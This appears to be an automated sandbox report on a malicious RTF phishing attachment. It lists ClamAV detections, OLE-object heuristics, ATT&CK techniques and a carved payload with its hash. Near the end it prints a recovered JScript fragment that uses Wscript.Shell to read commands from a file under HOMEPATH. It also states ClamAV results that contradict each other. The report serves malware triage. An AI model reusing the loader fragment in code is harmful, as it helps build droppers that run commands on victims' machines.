MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The RTF file contains multiple OLE objects and a large amount of hex-encoded data within its objdata sections, which is a common technique for hiding malicious payloads. ClamAV identified the file as Win.Phishing.Suspicious-6355521-4, indicating a phishing attempt. The extracted artifact objdata_00_off00015c36.bin is likely the payload.
Heuristics 6
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ClamAV: Win.Phishing.Suspicious-6355521-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Phishing.Suspicious-6355521-4
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Package object class high RTF_OBJCLASS_PACKAGEOLE Package object — can wrap arbitrary files
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Large hex data blocks in OLE object high RTF_EXCESSIVE_HEXRTF contains ~1710KB of hex-encoded data inside \objdata sections — may hide a payload
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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OLE object data medium RTF_OBJDATARTF contains 2 \objdata section(s) — embedded OLE objects
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Embedded OLE object medium RTF_OBJEMBRTF contains \objemb — embedded OLE object
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
objdata_00_off00015c36.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x15C36 | 810571 bytes |
SHA-256: 95aeef35ed31964796c7262ff3c0529b998013e89cc0e5fe37e092f3f7a36ead |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): Wscript.Shell');p=esha.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\mdo5.txt';var f=ofs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var com='';while(!f.AtE Carved artifact contains 7 shell/COM execution token(s).
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